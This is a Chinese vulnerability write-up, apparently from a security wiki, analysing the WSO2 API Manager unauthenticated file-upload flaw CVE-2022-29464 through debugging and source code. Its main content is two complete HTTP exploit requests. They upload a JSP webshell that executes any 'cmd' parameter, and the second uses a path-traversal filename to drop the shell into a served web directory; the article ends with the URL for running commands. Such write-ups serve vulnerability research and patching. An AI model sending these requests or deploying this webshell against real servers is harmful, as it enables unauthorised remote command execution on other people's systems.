长亭百川云 - 文章详情

WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464

PeiQi文库

56

2024-07-13

漏洞描述

CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。

漏洞影响

环境搭建


https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip

漏洞复现

下载 releases 后进入 bin目录, 执行 api.manager.sh文件,并开启 debug 方便远程调试

打开 product-apim-4.0.0 ,下载依赖,连接Debug进行调试分析

运行后访问 localhost:9443 出现如下即搭建完成

在配置文件 identity.xml 中我们可以看到 路由 /fileupload 中不存在权限鉴定,  对应的 Servlet 为 FileUploadServlet

文件上传为POST请求,对应的处理方法为 doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)

protected void doPost(HttpServletRequest request,                          HttpServletResponse response) throws ServletException, IOException {        try {            fileUploadExecutorManager.execute(request, response);        } catch (Exception e) {            String msg = "File upload failed ";            log.error(msg, e);            throw new ServletException(e);        }    }

继续向下,略过调用方法的过程

execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)

最后来到出现漏洞的位置 org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute

这里我们构造请求包,上传文件

POST /fileupload/toolsAny HTTP/1.1Host: localhost:9443Accept: */*Accept-Encoding: gzip, deflateContent-Length: 729Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0User-Agent: python-requests/2.22.0--4ef9f369a86bfaadf5ec3177278d49c0Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"<FORM>    <INPUT name='cmd' type=text>    <INPUT type=submit value='Run'></FORM><%@ page import="java.io.*" %>    <%    String cmd = request.getParameter("cmd");    String output = "";    if(cmd != null) {        String s = null;        try {            Process p = Runtime.getRuntime().exec(cmd,null,null);            BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));            while((s = sI.readLine()) != null) { output += s+"</br>"; }        }  catch(IOException e) {   e.printStackTrace();   }    }%>        <pre><%=output %></pre>--4ef9f369a86bfaadf5ec3177278d49c0--

上传时文件名为 1.jsp,成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下

public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor { @Override public boolean execute(HttpServletRequest request,   HttpServletResponse response) throws CarbonException, IOException {  PrintWriter out = response.getWriter();        try {         Map fileResourceMap =                (Map) configurationContext                        .getProperty(ServerConstants.FILE_RESOURCE_MAP);         if (fileResourceMap == null) {          fileResourceMap = new TreeBidiMap();          configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,                                             fileResourceMap);         }            List<FileItemData> fileItems = getAllFileItems();            //String filePaths = "";            for (FileItemData fileItem : fileItems) {                String uuid = String.valueOf(                        System.currentTimeMillis() + Math.random());                String serviceUploadDir =                        configurationContext                                .getProperty(ServerConstants.WORK_DIR) +                                File.separator +                                "extra" + File                                .separator +                                uuid + File.separator;                File dir = new File(serviceUploadDir);                if (!dir.exists()) {                    dir.mkdirs();                }                File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());                try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {                    fileItem.getDataHandler().writeTo(fileOutStream);                    fileOutStream.flush();                }                response.setContentType("text/plain; charset=utf-8");                //filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";                fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());                out.write(uuid);            }            //filePaths = filePaths.substring(0, filePaths.length() - 1);            //out.write(filePaths);            out.flush();        } catch (Exception e) {            log.error("File upload FAILED", e);            out.write("<script type=\"text/javascript\">" +                    "top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +                    "</script>");        } finally {            out.close();        }        return true; }}

但文件名是我们可控的,拼接的过程中我们通过控制文件名遍历目录,将文件上传到我们需要的位置,  查找可以解析 jsp文件的目录

构造请求包,通过控制文件名的方法上传至该目录中

POST /fileupload/toolsAny HTTP/1.1Host: localhost:9443Accept: */*Accept-Encoding: gzip, deflateContent-Length: 729Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0User-Agent: python-requests/2.22.0--4ef9f369a86bfaadf5ec3177278d49c0Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"<FORM>    <INPUT name='cmd' type=text>    <INPUT type=submit value='Run'></FORM><%@ page import="java.io.*" %>    <%    String cmd = request.getParameter("cmd");    String output = "";    if(cmd != null) {        String s = null;        try {            Process p = Runtime.getRuntime().exec(cmd,null,null);            BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));            while((s = sI.readLine()) != null) { output += s+"</br>"; }        }  catch(IOException e) {   e.printStackTrace();   }    }%>        <pre><%=output %></pre>--4ef9f369a86bfaadf5ec3177278d49c0--

访问上传的文件,/authenticationendpoint/xxx.jsp?cmd=ls

关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号 想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: http://wiki.peiqi.tech Github: https://github.com/PeiQi0/PeiQi-WIKI-Book

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2